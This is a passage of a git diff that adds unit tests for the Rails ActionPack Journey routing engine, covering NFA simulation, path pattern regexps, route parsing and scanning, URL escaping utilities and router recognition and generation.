+          def assert_no_match_route(simulator, path)
+            assert_not simulator.memos(path) { nil }, "Simulator should not match #{path}."
+          end
+      end
+    end
+  end
+end
diff --git a/actionpack/test/journey/nfa/simulator_test.rb b/actionpack/test/journey/nfa/simulator_test.rb
new file mode 100644
index 0000000000..6b9f87b452
--- /dev/null
+++ b/actionpack/test/journey/nfa/simulator_test.rb
@@ -0,0 +1,100 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module ActionDispatch
+  module Journey
+    module NFA
+      class TestSimulator < ActiveSupport::TestCase
+        def test_simulate_simple
+          sim = simulator_for ["/foo"]
+          assert_match sim, "/foo"
+        end
+
+        def test_simulate_simple_no_match
+          sim = simulator_for ["/foo"]
+          assert_no_match sim, "foo"
+        end
+
+        def test_simulate_simple_no_match_too_long
+          sim = simulator_for ["/foo"]
+          assert_no_match sim, "/foo/bar"
+        end
+
+        def test_simulate_simple_no_match_wrong_string
+          sim = simulator_for ["/foo"]
+          assert_no_match sim, "/bar"
+        end
+
+        def test_simulate_regex
+          sim = simulator_for ["/:foo/bar"]
+          assert_match sim, "/bar/bar"
+          assert_match sim, "/foo/bar"
+        end
+
+        def test_simulate_or
+          sim = simulator_for ["/foo", "/bar"]
+          assert_match sim, "/bar"
+          assert_match sim, "/foo"
+          assert_no_match sim, "/baz"
+        end
+
+        def test_simulate_optional
+          sim = simulator_for ["/foo(/bar)"]
+          assert_match sim, "/foo"
+          assert_match sim, "/foo/bar"
+          assert_no_match sim, "/foo/"
+        end
+
+        def test_matchdata_has_memos
+          paths   = %w{ /foo /bar }
+          parser  = Journey::Parser.new
+          asts    = paths.map { |x|
+            ast = parser.parse x
+            ast.each { |n| n.memo = ast }
+            ast
+          }
+
+          expected = asts.first
+
+          builder = Builder.new Nodes::Or.new asts
+
+          sim = Simulator.new builder.transition_table
+
+          md = sim.match "/foo"
+          assert_equal [expected], md.memos
+        end
+
+        def test_matchdata_memos_on_merge
+          parser = Journey::Parser.new
+          routes = [
+            "/articles(.:format)",
+            "/articles/new(.:format)",
+            "/articles/:id/edit(.:format)",
+            "/articles/:id(.:format)",
+          ].map { |path|
+            ast = parser.parse path
+            ast.each { |n| n.memo = ast }
+            ast
+          }
+
+          asts = routes.dup
+
+          ast = Nodes::Or.new routes
+
+          nfa = Journey::NFA::Builder.new ast
+          sim = Simulator.new nfa.transition_table
+          md = sim.match "/articles"
+          assert_equal [asts.first], md.memos
+        end
+
+        def simulator_for(paths)
+          parser  = Journey::Parser.new
+          asts    = paths.map { |x| parser.parse x }
+          builder = Builder.new Nodes::Or.new asts
+          Simulator.new builder.transition_table
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/test/journey/nfa/transition_table_test.rb b/actionpack/test/journey/nfa/transition_table_test.rb
new file mode 100644
index 0000000000..c23611e980
--- /dev/null
+++ b/actionpack/test/journey/nfa/transition_table_test.rb
@@ -0,0 +1,74 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module ActionDispatch
+  module Journey
+    module NFA
+      class TestTransitionTable < ActiveSupport::TestCase
+        def setup
+          @parser = Journey::Parser.new
+        end
+
+        def test_eclosure
+          table = tt "/"
+          assert_equal [0], table.eclosure(0)
+
+          table = tt ":a|:b"
+          assert_equal 3, table.eclosure(0).length
+
+          table = tt "(:a|:b)"
+          assert_equal 5, table.eclosure(0).length
+          assert_equal 5, table.eclosure([0]).length
+        end
+
+        def test_following_states_one
+          table = tt "/"
+
+          assert_equal [1], table.following_states(0, "/")
+          assert_equal [1], table.following_states([0], "/")
+        end
+
+        def test_following_states_group
+          table  = tt "a|b"
+          states = table.eclosure 0
+
+          assert_equal 1, table.following_states(states, "a").length
+          assert_equal 1, table.following_states(states, "b").length
+        end
+
+        def test_following_states_multi
+          table  = tt "a|a"
+          states = table.eclosure 0
+
+          assert_equal 2, table.following_states(states, "a").length
+          assert_equal 0, table.following_states(states, "b").length
+        end
+
+        def test_following_states_regexp
+          table  = tt "a|:a"
+          states = table.eclosure 0
+
+          assert_equal 1, table.following_states(states, "a").length
+          assert_equal 1, table.following_states(states, /[^\.\/\?]+/).length
+          assert_equal 0, table.following_states(states, "b").length
+        end
+
+        def test_alphabet
+          table = tt "a|:a"
+          assert_equal [/[^\.\/\?]+/, "a"], table.alphabet
+
+          table = tt "a|a"
+          assert_equal ["a"], table.alphabet
+        end
+
+        private
+          def tt(string)
+            ast     = @parser.parse string
+            builder = Builder.new ast
+            builder.transition_table
+          end
+      end
+    end
+  end
+end
diff --git a/actionpack/test/journey/nodes/symbol_test.rb b/actionpack/test/journey/nodes/symbol_test.rb
new file mode 100644
index 0000000000..1e687acef2
--- /dev/null
+++ b/actionpack/test/journey/nodes/symbol_test.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module ActionDispatch
+  module Journey
+    module Nodes
+      class TestSymbol < ActiveSupport::TestCase
+        def test_default_regexp?
+          sym = Symbol.new "foo"
+          assert sym.default_regexp?
+
+          sym.regexp = nil
+          assert_not sym.default_regexp?
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/test/journey/path/pattern_test.rb b/actionpack/test/journey/path/pattern_test.rb
new file mode 100644
index 0000000000..3e7aea57f1
--- /dev/null
+++ b/actionpack/test/journey/path/pattern_test.rb
@@ -0,0 +1,286 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module ActionDispatch
+  module Journey
+    module Path
+      class TestPattern < ActiveSupport::TestCase
+        SEPARATORS = ["/", ".", "?"].join
+
+        x = /.+/
+        {
+          "/:controller(/:action)"       => %r{\A/(#{x})(?:/([^/.?]+))?\Z},
+          "/:controller/foo"             => %r{\A/(#{x})/foo\Z},
+          "/:controller/:action"         => %r{\A/(#{x})/([^/.?]+)\Z},
+          "/:controller"                 => %r{\A/(#{x})\Z},
+          "/:controller(/:action(/:id))" => %r{\A/(#{x})(?:/([^/.?]+)(?:/([^/.?]+))?)?\Z},
+          "/:controller/:action.xml"     => %r{\A/(#{x})/([^/.?]+)\.xml\Z},
+          "/:controller.:format"         => %r{\A/(#{x})\.([^/.?]+)\Z},
+          "/:controller(.:format)"       => %r{\A/(#{x})(?:\.([^/.?]+))?\Z},
+          "/:controller/*foo"            => %r{\A/(#{x})/(.+)\Z},
+          "/:controller/*foo/bar"        => %r{\A/(#{x})/(.+)/bar\Z},
+          "/:foo|*bar"                   => %r{\A/(?:([^/.?]+)|(.+))\Z},
+        }.each do |path, expected|
+          define_method(:"test_to_regexp_#{Regexp.escape(path)}") do
+            path = Pattern.build(
+              path,
+              { controller: /.+/ },
+              SEPARATORS,
+              true
+            )
+            assert_equal(expected, path.to_regexp)
+          end
+        end
+
+        {
+          "/:controller(/:action)"       => %r{\A/(#{x})(?:/([^/.?]+))?},
+          "/:controller/foo"             => %r{\A/(#{x})/foo},
+          "/:controller/:action"         => %r{\A/(#{x})/([^/.?]+)},
+          "/:controller"                 => %r{\A/(#{x})},
+          "/:controller(/:action(/:id))" => %r{\A/(#{x})(?:/([^/.?]+)(?:/([^/.?]+))?)?},
+          "/:controller/:action.xml"     => %r{\A/(#{x})/([^/.?]+)\.xml},
+          "/:controller.:format"         => %r{\A/(#{x})\.([^/.?]+)},
+          "/:controller(.:format)"       => %r{\A/(#{x})(?:\.([^/.?]+))?},
+          "/:controller/*foo"            => %r{\A/(#{x})/(.+)},
+          "/:controller/*foo/bar"        => %r{\A/(#{x})/(.+)/bar},
+          "/:foo|*bar"                   => %r{\A/(?:([^/.?]+)|(.+))},
+        }.each do |path, expected|
+          define_method(:"test_to_non_anchored_regexp_#{Regexp.escape(path)}") do
+            path = Pattern.build(
+              path,
+              { controller: /.+/ },
+              SEPARATORS,
+              false
+            )
+            assert_equal(expected, path.to_regexp)
+          end
+        end
+
+        {
+          "/:controller(/:action)"       => %w{ controller action },
+          "/:controller/foo"             => %w{ controller },
+          "/:controller/:action"         => %w{ controller action },
+          "/:controller"                 => %w{ controller },
+          "/:controller(/:action(/:id))" => %w{ controller action id },
+          "/:controller/:action.xml"     => %w{ controller action },
+          "/:controller.:format"         => %w{ controller format },
+          "/:controller(.:format)"       => %w{ controller format },
+          "/:controller/*foo"            => %w{ controller foo },
+          "/:controller/*foo/bar"        => %w{ controller foo },
+        }.each do |path, expected|
+          define_method(:"test_names_#{Regexp.escape(path)}") do
+            path = Pattern.build(
+              path,
+              { controller: /.+/ },
+              SEPARATORS,
+              true
+            )
+            assert_equal(expected, path.names)
+          end
+        end
+
+        def test_to_regexp_with_extended_group
+          path = Pattern.build(
+            "/page/:name",
+            { name: /
+              #ROFL
+              (tender|love
+              #MAO
+              )/x },
+            SEPARATORS,
+            true
+          )
+          assert_match(path, "/page/tender")
+          assert_match(path, "/page/love")
+          assert_no_match(path, "/page/loving")
+        end
+
+        def test_optional_names
+          [
+            ["/:foo(/:bar(/:baz))", %w{ bar baz }],
+            ["/:foo(/:bar)", %w{ bar }],
+            ["/:foo(/:bar)/:lol(/:baz)", %w{ bar baz }],
+          ].each do |pattern, list|
+            path = Pattern.from_string pattern
+            assert_equal list.sort, path.optional_names.sort
+          end
+        end
+
+        def test_to_regexp_match_non_optional
+          path = Pattern.build(
+            "/:name",
+            { name: /\d+/ },
+            SEPARATORS,
+            true
+          )
+          assert_match(path, "/123")
+          assert_no_match(path, "/")
+        end
+
+        def test_to_regexp_with_group
+          path = Pattern.build(
+            "/page/:name",
+            { name: /(tender|love)/ },
+            SEPARATORS,
+            true
+          )
+          assert_match(path, "/page/tender")
+          assert_match(path, "/page/love")
+          assert_no_match(path, "/page/loving")
+        end
+
+        def test_ast_sets_regular_expressions
+          requirements = { name: /(tender|love)/, value: /./ }
+          path = Pattern.build(
+            "/page/:name/:value",
+            requirements,
+            SEPARATORS,
+            true
+          )
+
+          nodes = path.ast.grep(Nodes::Symbol)
+          assert_equal 2, nodes.length
+          nodes.each do |node|
+            assert_equal requirements[node.to_sym], node.regexp
+          end
+        end
+
+        def test_match_data_with_group
+          path = Pattern.build(
+            "/page/:name",
+            { name: /(tender|love)/ },
+            SEPARATORS,
+            true
+          )
+          match = path.match "/page/tender"
+          assert_equal "tender", match[1]
+          assert_equal 2, match.length
+        end
+
+        def test_match_data_with_multi_group
+          path = Pattern.build(
+            "/page/:name/:id",
+            { name: /t(((ender|love)))()/ },
+            SEPARATORS,
+            true
+          )
+          match = path.match "/page/tender/10"
+          assert_equal "tender", match[1]
+          assert_equal "10", match[2]
+          assert_equal 3, match.length
+          assert_equal %w{ tender 10 }, match.captures
+        end
+
+        def test_star_with_custom_re
+          z = /\d+/
+          path = Pattern.build(
+            "/page/*foo",
+            { foo: z },
+            SEPARATORS,
+            true
+          )
+          assert_equal(%r{\A/page/(#{z})\Z}, path.to_regexp)
+        end
+
+        def test_insensitive_regexp_with_group
+          path = Pattern.build(
+            "/page/:name/aaron",
+            { name: /(tender|love)/i },
+            SEPARATORS,
+            true
+          )
+          assert_match(path, "/page/TENDER/aaron")
+          assert_match(path, "/page/loVE/aaron")
+          assert_no_match(path, "/page/loVE/AAron")
+        end
+
+        def test_to_regexp_with_strexp
+          path = Pattern.build("/:controller", {}, SEPARATORS, true)
+          x = %r{\A/([^/.?]+)\Z}
+
+          assert_equal(x.source, path.source)
+        end
+
+        def test_to_regexp_defaults
+          path = Pattern.from_string "/:controller(/:action(/:id))"
+          expected = %r{\A/([^/.?]+)(?:/([^/.?]+)(?:/([^/.?]+))?)?\Z}
+          assert_equal expected, path.to_regexp
+        end
+
+        def test_failed_match
+          path = Pattern.from_string "/:controller(/:action(/:id(.:format)))"
+          uri = "content"
+
+          assert_not path =~ uri
+        end
+
+        def test_match_controller
+          path = Pattern.from_string "/:controller(/:action(/:id(.:format)))"
+          uri = "/content"
+
+          match = path =~ uri
+          assert_equal %w{ controller action id format }, match.names
+          assert_equal "content", match[1]
+          assert_nil match[2]
+          assert_nil match[3]
+          assert_nil match[4]
+        end
+
+        def test_match_controller_action
+          path = Pattern.from_string "/:controller(/:action(/:id(.:format)))"
+          uri = "/content/list"
+
+          match = path =~ uri
+          assert_equal %w{ controller action id format }, match.names
+          assert_equal "content", match[1]
+          assert_equal "list", match[2]
+          assert_nil match[3]
+          assert_nil match[4]
+        end
+
+        def test_match_controller_action_id
+          path = Pattern.from_string "/:controller(/:action(/:id(.:format)))"
+          uri = "/content/list/10"
+
+          match = path =~ uri
+          assert_equal %w{ controller action id format }, match.names
+          assert_equal "content", match[1]
+          assert_equal "list", match[2]
+          assert_equal "10", match[3]
+          assert_nil match[4]
+        end
+
+        def test_match_literal
+          path = Path::Pattern.from_string "/books(/:action(.:format))"
+
+          uri = "/books"
+          match = path =~ uri
+          assert_equal %w{ action format }, match.names
+          assert_nil match[1]
+          assert_nil match[2]
+        end
+
+        def test_match_literal_with_action
+          path = Path::Pattern.from_string "/books(/:action(.:format))"
+
+          uri = "/books/list"
+          match = path =~ uri
+          assert_equal %w{ action format }, match.names
+          assert_equal "list", match[1]
+          assert_nil match[2]
+        end
+
+        def test_match_literal_with_action_and_format
+          path = Path::Pattern.from_string "/books(/:action(.:format))"
+
+          uri = "/books/list.rss"
+          match = path =~ uri
+          assert_equal %w{ action format }, match.names
+          assert_equal "list", match[1]
+          assert_equal "rss", match[2]
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/test/journey/route/definition/parser_test.rb b/actionpack/test/journey/route/definition/parser_test.rb
new file mode 100644
index 0000000000..39693198b8
--- /dev/null
+++ b/actionpack/test/journey/route/definition/parser_test.rb
@@ -0,0 +1,112 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module ActionDispatch
+  module Journey
+    module Definition
+      class TestParser < ActiveSupport::TestCase
+        def setup
+          @parser = Parser.new
+        end
+
+        def test_slash
+          assert_equal :SLASH, @parser.parse("/").type
+          assert_round_trip "/"
+        end
+
+        def test_segment
+          assert_round_trip "/foo"
+        end
+
+        def test_segments
+          assert_round_trip "/foo/bar"
+        end
+
+        def test_segment_symbol
+          assert_round_trip "/foo/:id"
+        end
+
+        def test_symbol
+          assert_round_trip "/:foo"
+        end
+
+        def test_group
+          assert_round_trip "(/:foo)"
+        end
+
+        def test_groups
+          assert_round_trip "(/:foo)(/:bar)"
+        end
+
+        def test_nested_groups
+          assert_round_trip "(/:foo(/:bar))"
+        end
+
+        def test_dot_symbol
+          assert_round_trip(".:format")
+        end
+
+        def test_dot_literal
+          assert_round_trip(".xml")
+        end
+
+        def test_segment_dot
+          assert_round_trip("/foo.:bar")
+        end
+
+        def test_segment_group_dot
+          assert_round_trip("/foo(.:bar)")
+        end
+
+        def test_segment_group
+          assert_round_trip("/foo(/:action)")
+        end
+
+        def test_segment_groups
+          assert_round_trip("/foo(/:action)(/:bar)")
+        end
+
+        def test_segment_nested_groups
+          assert_round_trip("/foo(/:action(/:bar))")
+        end
+
+        def test_group_followed_by_path
+          assert_round_trip("/foo(/:action)/:bar")
+        end
+
+        def test_star
+          assert_round_trip("*foo")
+          assert_round_trip("/*foo")
+          assert_round_trip("/bar/*foo")
+          assert_round_trip("/bar/(*foo)")
+        end
+
+        def test_or
+          assert_round_trip("a|b")
+          assert_round_trip("a|b|c")
+          assert_round_trip("(a|b)|c")
+          assert_round_trip("a|(b|c)")
+          assert_round_trip("*a|(b|c)")
+          assert_round_trip("*a|:b|c")
+        end
+
+        def test_arbitrary
+          assert_round_trip("/bar/*foo#")
+        end
+
+        def test_literal_dot_paren
+          assert_round_trip "/sprockets.js(.:format)"
+        end
+
+        def test_groups_with_dot
+          assert_round_trip "/(:locale)(.:format)"
+        end
+
+        def assert_round_trip(str)
+          assert_equal str, @parser.parse(str).to_s
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/test/journey/route/definition/scanner_test.rb b/actionpack/test/journey/route/definition/scanner_test.rb
new file mode 100644
index 0000000000..070886c7df
--- /dev/null
+++ b/actionpack/test/journey/route/definition/scanner_test.rb
@@ -0,0 +1,71 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module ActionDispatch
+  module Journey
+    module Definition
+      class TestScanner < ActiveSupport::TestCase
+        def setup
+          @scanner = Scanner.new
+        end
+
+        # /page/:id(/:action)(.:format)
+        def test_tokens
+          [
+            ["/",       [[:SLASH, "/"]]],
+            ["*omg",    [[:STAR, "*omg"]]],
+            ["/page",   [[:SLASH, "/"], [:LITERAL, "page"]]],
+            ["/page!",  [[:SLASH, "/"], [:LITERAL, "page!"]]],
+            ["/page$",  [[:SLASH, "/"], [:LITERAL, "page$"]]],
+            ["/page&",  [[:SLASH, "/"], [:LITERAL, "page&"]]],
+            ["/page'",  [[:SLASH, "/"], [:LITERAL, "page'"]]],
+            ["/page*",  [[:SLASH, "/"], [:LITERAL, "page*"]]],
+            ["/page+",  [[:SLASH, "/"], [:LITERAL, "page+"]]],
+            ["/page,",  [[:SLASH, "/"], [:LITERAL, "page,"]]],
+            ["/page;",  [[:SLASH, "/"], [:LITERAL, "page;"]]],
+            ["/page=",  [[:SLASH, "/"], [:LITERAL, "page="]]],
+            ["/page@",  [[:SLASH, "/"], [:LITERAL, "page@"]]],
+            ['/page\:', [[:SLASH, "/"], [:LITERAL, "page:"]]],
+            ['/page\(', [[:SLASH, "/"], [:LITERAL, "page("]]],
+            ['/page\)', [[:SLASH, "/"], [:LITERAL, "page)"]]],
+            ["/~page",  [[:SLASH, "/"], [:LITERAL, "~page"]]],
+            ["/pa-ge",  [[:SLASH, "/"], [:LITERAL, "pa-ge"]]],
+            ["/:page",  [[:SLASH, "/"], [:SYMBOL, ":page"]]],
+            ["/(:page)", [
+                          [:SLASH, "/"],
+                          [:LPAREN, "("],
+                          [:SYMBOL, ":page"],
+                          [:RPAREN, ")"],
+                        ]],
+            ["(/:action)", [
+                            [:LPAREN, "("],
+                            [:SLASH, "/"],
+                            [:SYMBOL, ":action"],
+                            [:RPAREN, ")"],
+                           ]],
+            ["(())", [[:LPAREN, "("],
+                     [:LPAREN, "("], [:RPAREN, ")"], [:RPAREN, ")"]]],
+            ["(.:format)", [
+                            [:LPAREN, "("],
+                            [:DOT, "."],
+                            [:SYMBOL, ":format"],
+                            [:RPAREN, ")"],
+                          ]],
+          ].each do |str, expected|
+            @scanner.scan_setup str
+            assert_tokens expected, @scanner
+          end
+        end
+
+        def assert_tokens(tokens, scanner)
+          toks = []
+          while tok = scanner.next_token
+            toks << tok
+          end
+          assert_equal tokens, toks
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/test/journey/route_test.rb b/actionpack/test/journey/route_test.rb
new file mode 100644
index 0000000000..a8bf4a11e2
--- /dev/null
+++ b/actionpack/test/journey/route_test.rb
@@ -0,0 +1,113 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module ActionDispatch
+  module Journey
+    class TestRoute < ActiveSupport::TestCase
+      def test_initialize
+        app      = Object.new
+        path     = Path::Pattern.from_string "/:controller(/:action(/:id(.:format)))"
+        defaults = {}
+        route    = Route.build("name", app, path, {}, [], defaults)
+
+        assert_equal app, route.app
+        assert_equal path, route.path
+        assert_same  defaults, route.defaults
+      end
+
+      def test_route_adds_itself_as_memo
+        app      = Object.new
+        path     = Path::Pattern.from_string "/:controller(/:action(/:id(.:format)))"
+        defaults = {}
+        route    = Route.build("name", app, path, {}, [], defaults)
+
+        route.ast.grep(Nodes::Terminal).each do |node|
+          assert_equal route, node.memo
+        end
+      end
+
+      def test_path_requirements_override_defaults
+        path = Path::Pattern.build(":name", { name: /love/ }, "/", true)
+        defaults  = { name: "tender" }
+        route     = Route.build("name", nil, path, {}, [], defaults)
+        assert_equal(/love/, route.requirements[:name])
+      end
+
+      def test_ip_address
+        path  = Path::Pattern.from_string "/messages/:id(.:format)"
+        route = Route.build("name", nil, path, { ip: "192.168.1.1" }, [],
+                          controller: "foo", action: "bar")
+        assert_equal "192.168.1.1", route.ip
+      end
+
+      def test_default_ip
+        path  = Path::Pattern.from_string "/messages/:id(.:format)"
+        route = Route.build("name", nil, path, {}, [],
+                          controller: "foo", action: "bar")
+        assert_equal(//, route.ip)
+      end
+
+      def test_format_with_star
+        path  = Path::Pattern.from_string "/:controller/*extra"
+        route = Route.build("name", nil, path, {}, [],
+                          controller: "foo", action: "bar")
+        assert_equal "/foo/himom", route.format(
+          controller: "foo",
+          extra: "himom")
+      end
+
+      def test_connects_all_match
+        path  = Path::Pattern.from_string "/:controller(/:action(/:id(.:format)))"
+        route = Route.build("name", nil, path, { action: "bar" }, [], controller: "foo")
+
+        assert_equal "/foo/bar/10", route.format(
+          controller: "foo",
+          action: "bar",
+          id: 10)
+      end
+
+      def test_extras_are_not_included_if_optional
+        path  = Path::Pattern.from_string "/page/:id(/:action)"
+        route = Route.build("name", nil, path, {}, [], action: "show")
+
+        assert_equal "/page/10", route.format(id: 10)
+      end
+
+      def test_extras_are_not_included_if_optional_with_parameter
+        path  = Path::Pattern.from_string "(/sections/:section)/pages/:id"
+        route = Route.build("name", nil, path, {}, [], action: "show")
+
+        assert_equal "/pages/10", route.format(id: 10)
+      end
+
+      def test_extras_are_not_included_if_optional_parameter_is_nil
+        path  = Path::Pattern.from_string "(/sections/:section)/pages/:id"
+        route = Route.build("name", nil, path, {}, [], action: "show")
+
+        assert_equal "/pages/10", route.format(id: 10, section: nil)
+      end
+
+      def test_score
+        constraints = {}
+        defaults = { controller: "pages", action: "show" }
+
+        path = Path::Pattern.from_string "/page/:id(/:action)(.:format)"
+        specific = Route.build "name", nil, path, constraints, [:controller, :action], defaults
+
+        path = Path::Pattern.from_string "/:controller(/:action(/:id))(.:format)"
+        generic = Route.build "name", nil, path, constraints, [], {}
+
+        knowledge = { "id" => true, "controller" => true, "action" => true }
+
+        routes = [specific, generic]
+
+        assert_not_equal specific.score(knowledge), generic.score(knowledge)
+
+        found = routes.sort_by { |r| r.score(knowledge) }.last
+
+        assert_equal specific, found
+      end
+    end
+  end
+end
diff --git a/actionpack/test/journey/router/utils_test.rb b/actionpack/test/journey/router/utils_test.rb
new file mode 100644
index 0000000000..2d09098f11
--- /dev/null
+++ b/actionpack/test/journey/router/utils_test.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module ActionDispatch
+  module Journey
+    class Router
+      class TestUtils < ActiveSupport::TestCase
+        def test_path_escape
+          assert_equal "a/b%20c+d%25", Utils.escape_path("a/b c+d%")
+        end
+
+        def test_segment_escape
+          assert_equal "a%2Fb%20c+d%25", Utils.escape_segment("a/b c+d%")
+        end
+
+        def test_fragment_escape
+          assert_equal "a/b%20c+d%25?e", Utils.escape_fragment("a/b c+d%?e")
+        end
+
+        def test_uri_unescape
+          assert_equal "a/b c+d", Utils.unescape_uri("a%2Fb%20c+d")
+        end
+
+        def test_uri_unescape_with_utf8_string
+          assert_equal "Šašinková", Utils.unescape_uri("%C5%A0a%C5%A1inkov%C3%A1".dup.force_encoding(Encoding::US_ASCII))
+        end
+
+        def test_normalize_path_not_greedy
+          assert_equal "/foo%20bar%20baz", Utils.normalize_path("/foo%20bar%20baz")
+        end
+
+        def test_normalize_path_uppercase
+          assert_equal "/foo%AAbar%AAbaz", Utils.normalize_path("/foo%aabar%aabaz")
+        end
+
+        def test_normalize_path_maintains_string_encoding
+          path = "/foo%AAbar%AAbaz".b
+          assert_equal Encoding::ASCII_8BIT, Utils.normalize_path(path).encoding
+        end
+
+        def test_normalize_path_with_nil
+          assert_equal "/", Utils.normalize_path(nil)
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/test/journey/router_test.rb b/actionpack/test/journey/router_test.rb
new file mode 100644
index 0000000000..27f4f42aab
--- /dev/null
+++ b/actionpack/test/journey/router_test.rb
@@ -0,0 +1,535 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module ActionDispatch
+  module Journey
+    class TestRouter < ActiveSupport::TestCase
+      attr_reader :mapper, :routes, :route_set, :router
+
+      def setup
+        @app = Routing::RouteSet::Dispatcher.new({})
+        @route_set = ActionDispatch::Routing::RouteSet.new
+        @routes = @route_set.router.routes
+        @router = @route_set.router
+        @formatter = @route_set.formatter
+        @mapper = ActionDispatch::Routing::Mapper.new @route_set
+      end
+
+      def test_dashes
+        get "/foo-bar-baz", to: "foo#bar"
+
+        env = rails_env "PATH_INFO" => "/foo-bar-baz"
+        called = false
+        router.recognize(env) do |r, params|
+          called = true
+        end
+        assert called
+      end
+
+      def test_unicode
+        get "/ほげ", to: "foo#bar"
+
+        #match the escaped version of /ほげ
+        env = rails_env "PATH_INFO" => "/%E3%81%BB%E3%81%92"
+        called = false
+        router.recognize(env) do |r, params|
+          called = true
+        end
+        assert called
+      end
+
+      def test_regexp_first_precedence
+        get "/whois/:domain", domain: /\w+\.[\w\.]+/, to: "foo#bar"
+        get "/whois/:id(.:format)", to: "foo#baz"
+
+        env = rails_env "PATH_INFO" => "/whois/example.com"
+
+        list = []
+        router.recognize(env) do |r, params|
+          list << r
+        end
+        assert_equal 2, list.length
+
+        r = list.first
+
+        assert_equal "/whois/:domain(.:format)", r.path.spec.to_s
+      end
+
+      def test_required_parts_verified_are_anchored
+        get "/foo/:id", id: /\d/, anchor: false, to: "foo#bar"
+
+        assert_raises(ActionController::UrlGenerationError) do
+          @formatter.generate(nil, { controller: "foo", action: "bar", id: "10" }, {})
+        end
+      end
+
+      def test_required_parts_are_verified_when_building
+        get "/foo/:id", id: /\d+/, anchor: false, to: "foo#bar"
+
+        path, _ = @formatter.generate(nil, { controller: "foo", action: "bar", id: "10" }, {})
+        assert_equal "/foo/10", path
+
+        assert_raises(ActionController::UrlGenerationError) do
+          @formatter.generate(nil, { id: "aa" }, {})
+        end
+      end
+
+      def test_only_required_parts_are_verified
+        get "/foo(/:id)", id: /\d/, to: "foo#bar"
+
+        path, _ = @formatter.generate(nil, { controller: "foo", action: "bar", id: "10" }, {})
+        assert_equal "/foo/10", path
+
+        path, _ = @formatter.generate(nil, { controller: "foo", action: "bar" }, {})
+        assert_equal "/foo", path
+
+        path, _ = @formatter.generate(nil, { controller: "foo", action: "bar", id: "aa" }, {})
+        assert_equal "/foo/aa", path
+      end
+
+      def test_knows_what_parts_are_missing_from_named_route
+        route_name = "gorby_thunderhorse"
+        get "/foo/:id", as: route_name, id: /\d+/, to: "foo#bar"
+
+        error = assert_raises(ActionController::UrlGenerationError) do
+          @formatter.generate(route_name, {}, {})
+        end
+
+        assert_match(/missing required keys: \[:id\]/, error.message)
+      end
+
+      def test_does_not_include_missing_keys_message
+        route_name = "gorby_thunderhorse"
+
+        error = assert_raises(ActionController::UrlGenerationError) do
+          @formatter.generate(route_name, {}, {})
+        end
+
+        assert_no_match(/missing required keys: \[\]/, error.message)
+      end
+
+      def test_X_Cascade
+        get "/messages(.:format)", to: "foo#bar"
+        resp = router.serve(rails_env("REQUEST_METHOD" => "GET", "PATH_INFO" => "/lol"))
+        assert_equal ["Not Found"], resp.last
+        assert_equal "pass", resp[1]["X-Cascade"]
+        assert_equal 404, resp.first
+      end
+
+      def test_clear_trailing_slash_from_script_name_on_root_unanchored_routes
+        app = lambda { |env| [200, {}, ["success!"]] }
+        get "/weblog", to: app
+
+        env  = rack_env("SCRIPT_NAME" => "", "PATH_INFO" => "/weblog")
+        resp = route_set.call env
+        assert_equal ["success!"], resp.last
+        assert_equal "", env["SCRIPT_NAME"]
+      end
+
+      def test_defaults_merge_correctly
+        get "/foo(/:id)", to: "foo#bar", id: nil
+
+        env = rails_env "PATH_INFO" => "/foo/10"
+        router.recognize(env) do |r, params|
+          assert_equal({ id: "10", controller: "foo", action: "bar" }, params)
+        end
+
+        env = rails_env "PATH_INFO" => "/foo"
+        router.recognize(env) do |r, params|
+          assert_equal({ id: nil, controller: "foo", action: "bar" }, params)
+        end
+      end
+
+      def test_recognize_with_unbound_regexp
+        get "/foo", anchor: false, to: "foo#bar"
+
+        env = rails_env "PATH_INFO" => "/foo/bar"
+
+        router.recognize(env) { |*_| }
+
+        assert_equal "/foo", env.env["SCRIPT_NAME"]
+        assert_equal "/bar", env.env["PATH_INFO"]
+      end
+
+      def test_bound_regexp_keeps_path_info
+        get "/foo", to: "foo#bar"
+
+        env = rails_env "PATH_INFO" => "/foo"
+
+        before = env.env["SCRIPT_NAME"]
+
+        router.recognize(env) { |*_| }
+
+        assert_equal before, env.env["SCRIPT_NAME"]
+        assert_equal "/foo", env.env["PATH_INFO"]
+      end
+
+      def test_path_not_found
+        [
+          "/messages(.:format)",
+          "/messages/new(.:format)",
+          "/messages/:id/edit(.:format)",
+          "/messages/:id(.:format)"
+        ].each do |path|
+          get path, to: "foo#bar"
+        end
+        env = rails_env "PATH_INFO" => "/messages/unknown/path"
+        yielded = false
+
+        router.recognize(env) do |*whatever|
+          yielded = true
+        end
+        assert_not yielded
+      end
+
+      def test_required_part_in_recall
+        get "/messages/:a/:b", to: "foo#bar"
+
+        path, _ = @formatter.generate(nil, { controller: "foo", action: "bar", a: "a" }, b: "b")
+        assert_equal "/messages/a/b", path
+      end
+
+      def test_splat_in_recall
+        get "/*path", to: "foo#bar"
+
+        path, _ = @formatter.generate(nil, { controller: "foo", action: "bar" }, path: "b")
+        assert_equal "/b", path
+      end
+
+      def test_recall_should_be_used_when_scoring
+        get "/messages/:action(/:id(.:format))", to: "foo#bar"
+        get "/messages/:id(.:format)", to: "bar#baz"
+
+        path, _ = @formatter.generate(nil, { controller: "foo", id: 10 }, action: "index")
+        assert_equal "/messages/index/10", path
+      end
+
+      def test_nil_path_parts_are_ignored
+        get "/:controller(/:action(.:format))", to: "tasks#lol"
+
+        params = { controller: "tasks", format: nil }
+        extras = { action: "lol" }
+
+        path, _ = @formatter.generate(nil, params, extras)
+        assert_equal "/tasks", path
+      end
+
+      def test_generate_slash
+        params = [ [:controller, "tasks"],
+                   [:action, "show"] ]
+        get "/", Hash[params]
+
